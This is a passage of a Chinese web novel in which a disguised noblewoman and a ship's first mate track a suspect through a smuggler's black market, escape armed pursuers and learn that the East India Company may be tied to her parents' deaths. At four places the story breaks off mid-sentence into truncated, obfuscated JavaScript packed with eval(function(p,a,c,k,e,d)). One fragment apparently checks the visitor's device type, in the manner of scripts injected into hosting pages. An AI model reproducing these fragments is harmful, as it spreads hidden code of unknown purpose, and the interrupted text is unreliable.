“我不知道的,比如……你的秘密?” 于霜的身体几不可察地僵了一下,但立刻恢复了常态。 她甚至没有转头看他,只是冷冷地说了一句:“与你无关。找人。” 说完,便不再理会他,目光再次开始急切地搜寻那个刺青壮汉的身影。 江熠看着她没有表情的侧脸,眼底的探究更深了。 他只不过随口一问。 她真的有秘密。 不容他多想,于霜已经上前几步,他只能跟在她身后。 - 两人在黑市中前行着,江熠警惕地扫视着周围,试图寻找到刺青男人的身影。 于霜的目光则不由自主地被周围摊位上琳琅满目的海葬品所吸引。 突然,她的脚步猛得顿住,身上的血液仿佛瞬间凝固。 在一个不起眼的角落里,一个面色麻木的水手蹲在地上。 他面前随意摆放着一块脏污的油布,上面散乱地放着一些沾满淤泥和海藻的物件。 几枚锈蚀的钱币,一件破损的陶罐,几把匕首的碎片,以及—— ——以及一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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然后拿过怀表,用力地塞进于霜冰凉的手中,拽过她的胳膊。 “拿好,别弄丢了。” 他硬邦邦说完,语气缓和下来,甚至带着点哄人的意味。 做完这一切,江熠重新牵起于霜的手腕。 “现在,办正事。” 江熠声音低沉,目光再次锐利地投向刺青男消失的方向,仿佛刚才的那段插曲从未发生。 但只有他自己知道,指尖似乎还残留一丝她冰凉的体温。 于霜紧紧攥着怀表,她的心跳动得厉害。 母亲的遗物以这种方式出现在这种地方,几乎彻底击碎了她对“意外海难”的最后一丝幻想。 冰冷的金属硌得掌心生疼,却也带来一丝奇异的、支撑般的力量。 会不会……父母其实还活着? 她深吸一口气,强行将眼眶里的酸涩逼了回去,开口道。 “刚才……谢谢你。” 江熠脚步一顿,而后又恢复正常。 他偏过头,弯下身子,直直地看向于霜鎏金色的眼眸。 两人的距离瞬间拉近,于霜甚至能从他的眼睛里看见自己的影子。 手被江熠拿着,背在她身后,一动也不能动。 “珀金斯,出去之后,我要用这块怀表,换你一个秘密。” 11. 亲密接触 于霜被江熠牵扯着往前走。 突然,她被一扇门内的谈话吸引住,不由放缓了步子。 “……那艘沉船……处理好了……” 声音模糊不清,压得极低。 于霜示意江熠帮她盯着周围,自己则微微凑上门偷听。 江熠皱眉,没有多说,只是点点头。 现在,她才是主导。 “……我们要快……亚当斯……” 又是亚当斯?! 于霜脸色一变,不由自主往后退了几步。 门内的人交流的语言不是英语,江熠听不太懂。 只看见于霜神色不对,还没来得及问她什么,木门忽然被猛得打开。 江熠眼疾手快,一把拉过于霜侧身躲进一个暗道。 暗道很窄,两人只能紧靠对方。 江熠脸色沉重:“你听得懂他们的话?你还知道什么?” 他再一次意识到,这个叫西蒙.珀金斯的贵族小姐,也许有着更深的秘密。 她绝对不只是一个简单的贵族。 于霜来不及回答,一眼就看见他们一直在寻找的刺青男正好从门里出来。 “他出来了,我们得快点跟上!” 于霜死死盯住那个消失在人群中的刺青壮汉,下意识就要追去。 江熠一把拉住她的手腕,力道不容置疑。 “别跟太紧。”他压低声音,眼神锋利,“这地方跟迷宫一样,小心别让他发现。跟着我,我知道怎么跟踪。” 江熠在码头上混迹已久,每天和三教九流打交道,底层生存的招数学了不少。 他没有直接尾随,而是拉着于霜,借助巨大的沉船残骸、堆积的货箱和昏暗的光线作为掩护,快速穿行,如同幽灵般远远吊着目标。 于霜被迫紧跟他的步伐,她能感觉到他全身肌肉处于一种猎豹般的紧绷状态,每一次停顿和启动都干净利落。 她不得不将全部信任交付于他,依靠他的判断和引领。 这种绝对的、被迫的依赖感让她心头泛起奇异的感觉,带着某种不安和一丝难以言喻的安心。 他们看到刺青壮汉在一个摊位前停下,与摊主——一个脸上带着刀疤、眼神凶悍的男人低声交谈了几句,交换了一个小包裹。 然后继续深入集市,走向更阴暗潮湿的洞穴深处。 江熠和于霜继续保持距离跟着。 地势开始向下,海水渗漏更加严重,脚下越来越泥泞湿滑。 突然,刺青壮汉在一个半淹没的旧船体残骸前停下,警惕地左右看了看,然后弯腰钻进了船体侧面一个不起眼的破洞。 “他在那里!”于霜低声道,心跳加速。 两人迅速但谨慎地靠近那个破洞。 里面黑漆漆的,听不到什么动静。 江熠率先探头进去查看,片刻后缩回来,眉头紧锁:“里面很深,像个通道。他进去了。跟不跟?” 于霜毫不犹豫地点头。 江熠深吸一口气:“跟紧我,一步也别落。” 他率先钻了进去,然后向于霜伸出手。 于霜顿了一下,还是将自己的手放在了他宽大的掌心。 他微微一用力,将她拉进了黑暗的通道。 通道内部比想象中更狭窄、更压抑。 里面充斥着浓烈的锈蚀金属、腐烂木材和海水的混合气味,几乎要令人窒息。 脚下是倾斜、湿滑的钢板,有时甚至还需要手脚并用。 光线几乎完全消失,只有从偶尔的裂缝透进的微弱蓝绿色荧光苔藓的光,勾勒出身边人模糊的轮廓。 两人一前一后,贴得极近。 于霜几乎能感受到江熠背部传来的热量,听到他压抑的呼吸声和自己如擂鼓般的心跳。 每一次摸索前进,他的手都会下意识地向后,确认她的手臂或衣角是否还在触手可及的地方。 “左边有障碍,低头。” 他低沉的声音在极近的距离响起,温热的气息拂过于霜的耳廓,带来一阵莫名的战栗。 她立刻顺从地低头,感觉到他的手掌护在她头顶上方,防止她撞到低矮的金属横梁。 他的触碰短暂而带有明确的保护意味,却让于霜感到一阵脸颊发热。 幸好在黑暗中无人看见。 通道似乎通向船体的更深处。 突然,前方传来“咔哒”一声轻响,似乎是门栓落下的声音,然后是一阵逐渐远去的、踩在金属板上的脚步声—— 刺青男似乎进了某个房间并把门关上了。 “快!”江熠低喝一声,加快脚步。 于霜紧跟其后。 通道尽头是一扇锈蚀严重的铁门,门栓刚刚被从里面关上。 旁边还有一个狭窄的、似乎是通往下方货舱的检修口,盖子虚掩着。 “他进去了。”江熠试着推了推门,门却纹丝不动。 他侧耳贴在冰冷的铁门上,能听到里面隐约的交谈声,但听不清内容。 于霜也凑近去听,两人几乎头靠着头,呼吸交织在狭窄的空间里。 她能闻到他身上令人安心的气息,夹杂着此地的金属锈味,莫名让她跳动的心渐渐平静下来。 就在这时,下方突然传来“哗啦”一声巨响,紧接着是汹涌的水声。 海水正通过下方的检修口和其他裂缝迅猛倒灌进来。 冰冷的海水瞬间淹没了他们的脚踝,并且快速上涨。 海水涨潮了! “该死。”江熠咒骂一声,用力拍打铁门,但里面毫无反应。 海水已经没过小腿,冰冷刺骨。 检修口成了主要进水口,水流湍急。 “不能待在这里!”江熠当机立断,目光扫向那个检修口,“他从这里进去的?还是只是进水口?” “不知道,但这里不能留了!”于霜看着快速上涨的水位,声音带着一丝惊慌。 “进去看看,”江熠没有犹豫,猛地拉开检修口的盖子,“我先进。” 他率先钻了下去,然后立刻在于霜的惊叫声中伸出手:“跳下来,水不深,我能接住你。” 于霜看着下面漆黑一片、水声哗啦的空间,以及江熠向上张开的手臂,一咬牙,闭上眼睛跳了下去。 噗通! 她落入一个冰冷的水洼,水深及腰。 一双强有力的手臂瞬间接住了她,缓冲了大部分冲击力,但还是让她踉跄着撞进一个坚实温热的胸膛。 两人都在冰冷的积水中站不稳,身体不可避免地紧紧贴在了一起。 于霜的脸颊被迫贴在他湿透的,能感受到坚硬肌肉线条的胸口上。 隔着一层湿衣,她能清晰地感受到他胸腔下传来的、同样急促而有力的心跳声和他为了稳住两人而环在她后背和腰际的手臂传来的惊人热度。 冰冷的河水与对方身体的温热形成了极其强烈的对比。 江熠也瞬间僵住。 怀中冰冷而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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于霜能感觉到江熠胸膛的剧烈起伏和自己后背紧贴着的灼热温度。 他的呼吸就在她的头顶上方,沉重而温热。 江熠感受到她单薄肩膀传来的细微颤抖。 他几乎能用自己的身体完全包裹住她。 冰冷的环境和湿热的接触,挑动着最原始的神经。 “走……往前走。”江熠的声音沙哑得几乎不像他自己的。 于霜低低地“嗯”了一声,声音微颤。 两人一前一后,在通道里摸索着前进。 不知摸索前行了多久,前方终于隐约传来微弱的光亮和人声。 两人立刻放缓脚步,更加谨慎地靠近。 光源来自一个栅栏式的观察窗。 透过锈蚀的栏杆,他们看到里面似乎是一个更大的空间,被改装成了某种地下交易所或临时据点。 于霜扫了一眼自己和江熠湿透了的衣物,抿了抿唇。 这样子上去,不要三秒,他俩就能被巡查的人五花大绑。 江熠没注意她的动作,冲她招手。 “这里有个窗口,可以上去,我托着你,快。” 于霜顺从地扶住旁边的铁栏杆,脚踩上江熠蹲下的腿,又踩上他的肩膀,费力爬上去。 上去后,她来不及喘口气,立马伸出手:“抓着我。” 江熠没客气,一把握住,借着腰上的力气,腿一登,利落地撑了上来。 于霜累得气喘吁吁,半天呼吸不上。 这时,一阵嘈杂的声音往他们这里传来。 12. 暧昧共处 通道尽头是一处稍微开阔的废弃舱室,堆放着一些不知名的杂物,空气里弥漫着更浓重的霉味和铁锈味。 “这边好像有点动静,过去看看!” “大爷的,肯定是老鼠,这破船底下除了耗子就是水鬼……” 来的人声音粗嘎,带着一种底层打手特有的不耐烦和警惕。 于霜心头一紧,来不及多想,目光迅速扫视,发现旁边一扇锈蚀的铁门虚掩着。 她一把拉住江熠的手腕,低声道:“这边!” 两人闪身挤进门后。 这是一个狭小的房间,像是昔日的船员储物室,如今堆满了破旧的缆绳、腐朽的木箱和一些辨不清原貌的废弃物。 里面灰尘厚重,蛛网遍布。 脚步声越来越近,手电筒的光柱已经在门外通道里晃动。 “快!找东西挡住门!”江熠压低声音,迅速用肩膀顶住门板,同时目光锐利地扫视屋内,寻找可用的东西。 于霜也急忙环顾四周。 角落里一个巨大的满是污渍的木箱吸引了她的注意。 她用力推了推,箱子异常沉重,但似乎底部有轮子,只是锈死了。 “帮我一下。”她急促地招呼。 江熠立刻过来,两人合力,咬着牙猛地一推。 “嘎吱——”刺耳的摩擦声响起,木箱被艰难地挪动了半分,刚好能卡住门把手。 几乎同时,门外传来了推门声。 “嗯?这门怎么卡住了?” “是不是又哪里锈死了?算了,估计就是耗子,去那边看看!” 门外的人嘟囔着,似乎放弃了,脚步声渐渐远去。 两人同时松了一口气,背靠着冰冷的墙壁,剧烈喘息着。 紧张过后,湿透的衣服带来的冰冷和不适感愈发强烈。 于霜忍不住打了个寒颤,手臂上起了一层鸡皮疙瘩。 江熠注意到她的颤抖,眉头紧锁。 这样湿漉漉的确实容易生病,而且目标太大,简直是明晃晃地告诉别人他俩有问题。 他的目光再次仔细打量这个杂物间。 忽然,他走到一个角落,扒开一堆破烂的帆布,下面竟然露出一个略显陈旧的木箱。 但比起其他破烂,这个箱子还算完整。 他用随身携带的匕首撬开锁扣,打开箱子。 里面居然整齐地叠放着几套衣物。 大多是粗糙的水手服、工装,甚至还有一两件看起来稍好一些但款式旧的外套。 像是某些人暂时存放在这里的备用衣物或者还没来得及处理的“战利品”。 “……运气不错。”江熠拿起一件深色的粗布上衣扔给于霜,“快换上,湿衣服不能穿了。” 于霜接住衣服,又看了看箱子里的其他衣物,确实有几件女式的衬衫和长裤,虽然粗糙,但还算干净。 她的手指下意识地捻了捻布料,有些嫌弃地蹙起了秀气的眉头。 “这……这料子也太粗糙了,” 她小声抱怨,声音里带着她自己都没察觉的、属于西蒙小姐的娇气,“扎得人皮肤疼。而且这颜色真是……毫无品味可言。” 江熠正拿起一件男式工装准备换,闻言动作一顿,侧过头看她,眼神里带着一种“你是不是还没搞清楚状况”的荒谬感。 “大小姐,你是想穿着湿透的丝绸裙子在这里开茶会,还是想裹着这‘粗糙’的布活着出去?” 于霜被他噎了一下,也知道现在不是挑剔的时候,但习惯使然,还是忍不住嘟囔了一句:“……等出去了,你得赔我新的……要云锦或者最上等的丝绸,苏绣的纹样……” 江熠简直要气笑了,懒得再跟这位不知人间疾苦的大小姐争辩,干脆利落地开始解自己湿透的上衣扣子,露出精壮结实的胸膛和腹肌,一边没好气地说:“行,赔。十套百套都行。现在,劳驾您快点,除非你想让外面那些人请我们去‘喝茶’。” 此刻情况紧急,确实也顾不得许多了。 “你……转过去。”于霜低声道,脸颊有些发热。 江熠瞥了她一眼,没说什么,干脆利落地转过身,面向墙壁。 狭小的空间里,只剩下窸窸窣窣的换衣声和彼此有些压抑的呼吸声。 于霜飞快地脱下湿透黏腻的贵族长衣,冰冷的空气接触到皮肤,让她又是一阵哆嗦。 她赶紧拿起那件干燥的、带着些许樟脑丸和灰尘味道的女式衬衫穿上,尺寸稍大,但挽起袖子也能穿。 “……这扣子怎么这么难系……”她小声抱怨着,手指因为冷和急有些僵硬,半天扣不好。 她又套上一条深色的工装长裤,裤腿长了太多,她不得不把裤脚卷了好几圈。 身后传来布料摩擦的细微声响,她知道江熠也在做同样的事。 即使不回头,也能想象出那副场景…… 这个念头让她耳根更热了。 她迅速将换下的湿衣服塞进那个木箱最底层,用其他旧衣服盖好。 “我快好了。”她低着头,还在系面前的扣子 身后传来江熠已经换好衣服的声音。 接着,一双温热而略显粗糙的大手不耐烦地拍开了她的手,接替了她笨拙的工作,三两下就利落地帮她把胸前的扣子系好。 他的指尖不可避免地偶尔擦过她颈部的皮肤,带来的触感让两人都微微一顿。 “谢……了。”于霜声音低了下去。 “麻烦。”江熠硬邦邦地回了一句,迅速退开,仿佛碰到什么烫手的东西。 他这时换上了一套深蓝色的水手工装,布料紧绷在他结实的胸膛和臂膀上,勾勒出流畅而充满力量的线条,比起他之前那套码头工人的衣服,这套反而更贴合他那种混合了野性与不羁的气质。 他看到于霜穿着明显不合身的宽大衣服,裤脚卷起,头发也有些凌乱,沾着些许灰尘,少了几分贵族小姐的精致,却多了一种奇异的、落难般的韧劲,像一株在废墟里顽强生长的小草。 他的目光在她脸上停留了一瞬,随即移开,淡淡道:“走吧。这身打扮应该能糊弄一阵子。” 于霜点点头,深吸一口气,将之前的慌乱和心悸压下。 现在,他们有了新的伪装,必须尽快找到离开的路,并查明这里关于“亚当斯”的秘密。 - 与此同时,诺尔尼斯号停泊的码头上,气氛逐渐变得焦灼。 大副已经将采购好的补给品——成桶的淡水、硬饼干、腌肉、修补风帆的粗麻线和工具——都堆放在了码头边,只等装船。 “副船长人呢?”一个年轻水手擦着汗,疑惑地张望,“不是说好清点完这批缆绳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“贝利不见了……还有西蒙小姐?” “超过一个时辰了,船长,毫无音讯。”大副语气沉重,“我担心他们可能遇到了麻烦,很大的麻烦。” 威廉船长缓缓吸了口气,目光扫过码头上每一个阴暗的角落和可疑的身影。 “江熠是我最好的舵手和副手,他知道轻重。这么久没消息,绝不会是小事。” 他顿了顿,关于西蒙小姐可能带来的“变数”,他没有说出口,但眼神深处掠过一丝忧虑。 他迅速做出决断:“雷恩大副,你亲自带两个人,扩大范围搜索,重点是仓库区、酒馆后巷,还有那些废弃船只堆砌的地方。活要见人,死……” 他声音顿了一下,似乎极不愿意考虑后一种可能,“……必须找到线索。其他人,立刻将物资装船,加强戒备,没有我的命令,谁也不准离开码头区域,违令者按叛逃论处。” 水手们心头一凛,齐声应道:“是,船长!” 船员开始忙碌起来,搬运物资,加强警戒。 然而,人群中,在众人注意力都被船长的严令和搜寻任务吸引时,有一个人借着检查一桶淡水的由头,悄无声息地退到了堆叠的货箱阴影后。 确认无人特别注意他后,他立刻像一尾滑溜的鱼,迅速而安静地融入了码头边缘混乱的人流。 他脚步明确,直直向一个酒吧走去——正是于霜江熠误入的地方。 他对这里的地形似乎并不陌生,灵活地在迷宫般的通道和锈蚀的船骸间穿行。 他来到一个门前,然后以一种特定的节奏,轻轻叩响了一块看似普通的的管道。 13. 逃亡时刻 敲后片刻,那个刺青壮汉从阴影里钻了出来,看到来人,脸上露出一丝惊讶和不耐烦。 “你怎么来了?最近风头紧,不是说少碰头吗?” 来人急急道:“出了点岔子,诺尔尼斯号的副船长和……珀金斯小姐不见了,威廉那边正派人寻找他们,我怀疑他们可能进入你这边了……你们这边没出什么纰漏吧?” “珀金斯小姐?那不是他们的……” “嘘——!” 刺青男脸色猛地一变,立刻想到了之前那点不寻常的动静和那对被他认为是“野鸳鸯”的男女,心里瞬间警铃大作。 但他嘴上却强硬道:“能有什么纰漏?我这里铁桶一样。管好你自己,别暴露了,快回去。” “没有最好。”来人迅速将手中的东西递给他:“先生最近的指令,他快成功了,别在这个时候坏了好事!我们两家……可是互惠共赢。” 接着,来人又补充到:“你们自己绝对要小心!那个副船长不是在海上就是在码头长大的,嗅觉比猎犬还灵。如果真是他们……决不能让他们把任何消息带回去。” “必要的时候……可以采取一些极端手段。” 说完,他用力按了按刺青男的手心,不再多留,拉了拉兜帽,转身沿着复杂的路线快速离去,试图在更多人注意到她短暂离开前,悄无声息地溜回“诺尔尼斯号”的停泊区。 刺青男看着他消失的方向,脸色阴沉得能滴出水来。 他狠狠朝地上啐了一口,眼神变得凶戾起来。 他必须立刻、彻底地清查一遍这片区域,如果那对“野鸳鸯”真的有问题…… 他必须确保他们永远闭上嘴。 男人转身猛地钻回了更深的黑暗之中。 - 就在刺青男带着满腔杀意钻回黑暗,开始组织人手进行拉网式搜查的同时,江熠和于霜正屏息凝神地紧贴在一个巨大的、锈蚀的蒸汽管道后面。 冰冷的金属隔着粗糙的衣料传来寒意,但更冷的是从心底冒出的紧张感。 杂乱的脚步声和粗暴的呼喝声在不远处的通道里回荡,手电筒的光柱胡乱地扫过他们藏身之地附近的墙壁和堆积如山的废弃物。 “分头找,每个角落都不能放过!老板说了,必须是活的……或者死的也行,但必须找到!” 一个沙哑的声音吼道,“可别坏了我们的大事……” 于霜的心脏猛地一缩,下意识地看向身边的江熠。 他侧着脸,下颌线绷得紧紧的,眼神在微弱的光线下闪烁着极度警惕。 他的一只手紧紧握着别在腰后的匕首柄,另一只手则下意识地挡在于霜身前,形成一个保护的姿态。 他们能感觉到,搜索的网正在迅速收紧。 “这里不能待了,”江熠用几乎听不见的气声在于霜耳边说,声音带着一种压抑的紧绷,“跟着我,动作轻一点。” 他小心翼翼地探出半个头,快速观察了一下外面的情况,然后对于霜做了一个“跟上”的手势。 两人猫着腰,利用地上堆放的废弃木箱和机械残骸作为掩护,快速而无声地向与搜查人员相反的方向移动。 每一声远处传来的脚步、每一次突然提高的呼喝都让他们神经紧绷。 于霜感觉自己的手心全是冷汗,紧紧跟着江熠的身影。 他们穿过一条狭窄的金属走廊,推开一扇虚掩的、几乎快要锈掉的铁门,进入了一个更加阴暗的空间。 这里似乎是一个废弃的小型轮机舱,各种扭曲的管道和阀门盘踞四周,空气中弥漫着更浓重的机油和铁锈味。 暂时听不到追兵的脚步声了。 于霜惊魂未定,目光无意识地扫过周围。 就在这时,她的视线被舱壁上一块模糊不清、但依稀可辨的烙印吸引—— 那是一个缠绕着触手的东印度公司徽记变体。 虽然锈蚀严重,但那独特的轮廓依然带着一种阴冷的气息。 她还没反应过来,就听到身边江熠的呼吸猛地一窒。 她转过头,看到江熠正死死地盯着那个标志。 他的脸色在昏暗的光线下显得异常苍白,嘴唇抿成一条僵硬的直线,眼神不再是平时的锐利或嘲讽,而是一种几乎要噬人的、刻骨铭心的痛苦与仇恨。 他的身体细微地颤抖着,仿佛一瞬间被拖回了某个可怕的噩梦。 于霜甚至能看到他额角凸起的青筋和瞬间沁出的冷汗。 “贝利?”她担心地小声唤他,被他眼中从未有过的剧烈情绪所惊到。 江熠猛地闭上了眼睛,喉结剧烈地滚动了一下。 再睁开时,眼底是一片像是汹涌的暗流。 他没有看于霜,声音沙哑得像是被砂纸磨过: “……没什么。快找找有没有其他路。” 他强行将目光从那个标志上撕开,仿佛多看一眼都会灼伤他的眼睛。 那段被镣铐锁住、在恶臭的船舱底像牲畜一样被鞭打、看着同伴一个个死去的黑暗岁月,如同潮水般瞬间将他淹没。 东印度公司……这个名字是他一生都无法摆脱的噩梦根源。 他无意识摩挲着自己的手臂。 于霜敏锐地感觉到他情绪的巨大波动和明显的回避,虽然不明所以,但识趣地没有再问。 她压下心中的疑惑和一丝莫名的揪心,也开始焦急地四处张望,寻找出路。 她的目光焦急地扫过错综复杂的管道和废弃的仪表盘。 最终,无意间向上瞥去。 轮机舱上方有一个破裂的舱顶,透过那道裂缝,可以看到一小片漆黑的夜空,以及几颗因为位置巧合而格外明亮的星星。 就在那一瞬,她感到贴身口袋里那叠父亲留下的、一直被她认为空白的牛皮纸,因为紧贴着她的肌肤而被体温捂得微微发热。 她下意识地伸手进去,想确认它们是否安好。 指尖触碰到最上面那张牛皮纸时,她忽然感觉指腹下的触感似乎……有些异样? 不再是完全的光滑,似乎有极其细微的、几乎无法察觉的凹凸感。 鬼使神差地,她将那张感觉最热的牛皮纸稍稍抽出一角,就着从裂缝透下的极其微弱的星光极力仔细看去。 奇迹般的,在那原本看似空无一物的淡黄色皮纸上,一些非常非常淡的、不规则分布的褐色线条和细微的点状痕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哐当——!”金属撞击声和猝不及防的惨叫暂时阻挡了第一波追兵。 “走!快!”江熠低吼,几乎是将于霜往前推。 管道内部狭窄而陡峭,向上延伸,布满了黏滑的苔藓和锈垢。 于霜手脚并用,不顾一切地向上爬,粗糙的管壁刮擦着她的手臂和膝盖,火辣辣地疼。 身后传来更加密集的脚步声和怒骂声。 “他们钻进通风管道了!” “开枪!别让他们爬到上层去!” 砰! 砰! 砰! 震耳欲聋的枪声在金属管道内炸响,回声巨大,子弹“锵锵”地打在管壁上,迸溅出可怕的火花,震得整个管道都在嗡鸣。 于霜吓得有些失神,拼命向上爬。 江熠紧随其后,动作迅猛,还不时猛地向下跺脚,震落大片的铁锈和积灰,试图阻碍下方的视线和追击。 管道并非直上直下,中间有几个近乎九十度的弯折。 在一个拐角,于霜几乎力竭,江熠从后面托住她,奋力将她推了上去。 两人狼狈地爬出管道口,滚落在一条稍微宽敞些的、布满各种蒸汽管道和线缆的维护层廊桥上。 高温的管道烘烤着空气,发出“嘶嘶”的声响。 “在那边!堵住他们!” “别让这对狗男女跑了——!!” 14. 真相迷雾 “这边!” 江熠目光一扫,拉着于霜伏低身体,利用管道和机械设备的阴影作为掩护快速移动。 砰砰砰! 又一阵枪响,子弹打在粗大的管道和设备上,发出沉闷的响声,偶尔打穿较细的蒸汽管线,喷射出炽热的白色蒸汽,瞬间在廊桥上制造出大片大片的视觉盲区。 “小心!”江熠一把拉过于霜,躲开一股突然喷发的灼热蒸汽。 高温汽浪擦身而过,带来一阵灼痛感,但幸好没有直接命中。 两人利用这突如其来的混乱和视野遮挡,迅速穿过廊桥,冲进一个堆满麻袋、木箱和废弃帆布的储物平台。 追击者也从管道口和廊桥两侧包抄过来,甚至有人爬上了货堆,试图从高处射击。 江熠眼疾手快,猛地抽掉一个巨大木桶的楔子。 “轰隆——!”里面圆滚滚的货物倾泻而出,如同滚木礌石般冲向追兵,顿时人仰马翻,惨叫连连。 “快走!” 两人继续狂奔,穿过一个似乎是简陋酒馆的后厨区域,吓得里面的厨子举着勺子愣在原地。 江熠顺手抄起案板上一条冻得硬邦邦的鱼,猛地砸向身后追来的一个打手面门。 砰!那人应声倒地。 冲出后厨,外面是一个稍微开阔点的交叉路口,连接着几条不同的通道。 更多的黑市人员被惊动,从四面八方围拢过来,眼神不善。 “抓住他们!” “别让跑了!” 眼看就要被合围。 江熠猛地抬头,看到了头顶上方纵横交错的、用来运输小件货物的空中索道系统。 其中一个吊篮正好悬在他们斜上方不远处,且正在移动。 “抱紧我!” 江熠猛地对于霜喊道,不等她反应,便拦腰抱住她,助跑两步,猛地向上跃起。 于霜吓得闭上眼,只感觉身体猛地一轻,耳边风声呼啸。 江熠的时机和角度抓得极准,一只手死死抓住了那个移动的吊篮边缘。 巨大的惯性带着他们两个在空中猛地一晃。 “啊——!” 于霜的惊叫声淹没在下面的惊呼和枪声中。 砰砰! 子弹从下方射来,打穿了旁边的木箱,却没能击中高速移动的吊篮。 江熠手臂肌肉贲张,青筋暴起。 另一只手也艰难地攀上吊篮,奋力将几乎脱手的于霜往上拽。 两人狼狈地翻滚进堆放着少量货物的吊篮里。 吊篮沿着索道咔哒咔哒地向着黑市边缘区域滑去,暂时将下面的混乱和枪声甩在了身后。 两人在摇晃的吊篮里剧烈喘息,看着身下越来越远的地面和各色人等,心几乎跳到了嗓子眼。 终于,吊篮滑到了索道尽头—— 一个靠近黑市边缘岩壁的简陋装卸平台。 江熠率先跳下,然后接住腿软得几乎站不稳的于霜。 他们不敢停留,发现平台侧面有一个狭窄的、似乎是天然形成的岩石裂缝,仅容一人侧身通过。 毫不犹豫地,两人挤了进去,在黑暗中艰难前行了不知多久,终于看到前方微弱的光亮。 用力推开几丛遮掩的藤蔓和废弃物,他们终于从一个极其隐蔽的洞口跌了出来,重重摔在一条僻静潮湿、堆放着垃圾的小巷里。 冰冷粗糙的石地面硌得人生疼。两人瘫倒在地,胸膛剧烈起伏。 像离开水的鱼一样贪婪地呼吸着相对新鲜的空气,浑身都在不受控制地颤抖。 虽然逃得狼狈,身上沾满了铁锈、灰尘和污垢,几处刮伤火辣辣地疼。 但至少,他们千辛万苦换上的干衣服没有再被浸湿,只是被汗水浸透又在高热管道旁被烤得半干,皱巴巴地贴在身上。 于霜的牙齿咯咯作响,不知道是因为脱力还是后怕。 她侧过头,看到旁边的江熠同样脸色苍白,额发被汗水浸透,闭着眼,胸口急促地起伏,抓住吊篮的那条手臂还在微微痉挛。 小巷外传来模糊的市井噪音,遥远得像是另一个世界。 他们暂时……安全了。 - 僻静的小巷里,只剩下两人粗重而压抑的喘息声。 于霜蜷缩着,努力平复几乎要蹦出胸腔的心跳,牙齿仍不受控制地轻微打颤。 她偷偷看向身旁的江熠。 他正撑着膝盖站起来,警惕地扫视着巷口,侧脸线条紧绷,那双总是带着几分嘲弄或锐利的眼睛此刻深不见底,仿佛还残留着方才面对黑市的冰冷与暴戾。 他忽然转过头,目光精准地捕捉到于霜的视线。 “现在,”他的声音因为之前的奔逃和打斗而有些低哑。 “是不是可以告诉我,你的‘秘密’到底是什么了?” 于霜的心猛地一揪。 她当然记得那个用怀表换来的、尚未兑现的承诺。 但此刻,父母可能身陷囹圄的恐惧、东印度公司的阴影、以及刚刚经历的生死追杀…… 所有这些混乱的线索和情绪交织在一起,让她一时不知从何说起,更不确定能否完全信任眼前这个浑身是谜的男人。 她张了张嘴,声音干涩:“我……” 就在这时,巷口的光线一暗,一个身影急匆匆地拐了进来。 两人瞬间警惕起来,江熠甚至下意识地向前半步,将于霜挡在身后,手摸向了腰后的匕首。 “副船长?珀金斯小姐?老天!真的是你们!” 来人惊讶地喊道,是水手长巴斯。 他那张饱经风霜的脸此刻写满了担忧。 “你们跑哪儿去了?船长和大伙儿找你们快找疯了!老天,你们这是……怎么了?” 他看着两人一身污垢、狼狈不堪、甚至带着擦伤的样子,语气显得焦急又震惊。 江熠审视地盯着巴斯,眼神锐利,并没有立刻放松警惕:“没什么,遇到点小麻烦。你怎么找到这里的?” 巴斯搓着手,一副老实人的焦急模样:“唉,我就在这附近几个仓库打听有没有人见过你们,听到这边巷子里有动静就过来看看……谢天谢地总算找到你们了!没事就好,没事就好!快回去吧,船长都快急死了!这地方乱得很,不是你们该待的地方。” 他的话语听起来合情合理。 江熠眯了眯眼,又扫了一眼巷口,似乎暂时没发现其他异常。 他看了一眼脸色苍白、状态明显不好的于霜,知道现在不是追问和停留的时候。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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威廉船长看着江熠从未如此凝重严肃的表情,又联想到“追杀”二字,立刻明白了事情的严重性远超普通的走失或冲突。 他点了点头,脸上剩余的焦虑被一种深沉的严肃所取代。 “跟我来。”他沉声道,转身率先向自己的船长室走去。 江熠紧随其后。 两人一前一后进入船长室,厚重的木门“咔哒”一声关上,隔绝了外面所有的噪音。 威廉船长走到酒柜前,倒了两杯烈酒,将其中一杯递给江熠,然后自己深深喝了一口,才转过身,目光如炬地盯着江熠。 “现在,告诉我,到底发生了什么?谁在追杀你们?还有,西蒙那孩子,她到底卷进了什么事情里?” 江熠没有碰那杯酒,他双手撑在桌面上,身体前倾,目光毫不回避地迎上船长的视线。 “船长,你现在告诉我,这位西蒙.珀金斯,她到底是谁?你早就知道些什么,对不对?不然你不会轻易答应带她上船,不会对她格外宽容。而那些追杀我们的人,是东印度公司的人!” 15. 温情残留 威廉船长沉默地吸着烟斗,烟雾模糊了他脸上的表情。 许久,他才缓缓吐出一口烟圈,声音低沉而缓慢: “……西蒙.珀金斯,她的父母,就是水手们都耳熟能详的亚当斯夫妇。” 江熠的瞳孔微微收缩。 威廉船长抬起眼,目光复杂地看着江熠:“她的父母与我是多年旧友,但就在前几个星期,你应该也知道了——各大报纸上报道出来的消息——他们遇上了海难,死在了海上。” 他用烟斗轻轻敲了敲桌面:“现在看来,也许那根本就不是意外。至于东印度公司……哼,他们在这片海域的手,伸得比任何人想的都要长,都要脏。如果亚当斯夫妇的死亡真的和他们有关,那你们今天遇到的,就绝不是‘小麻烦’。” 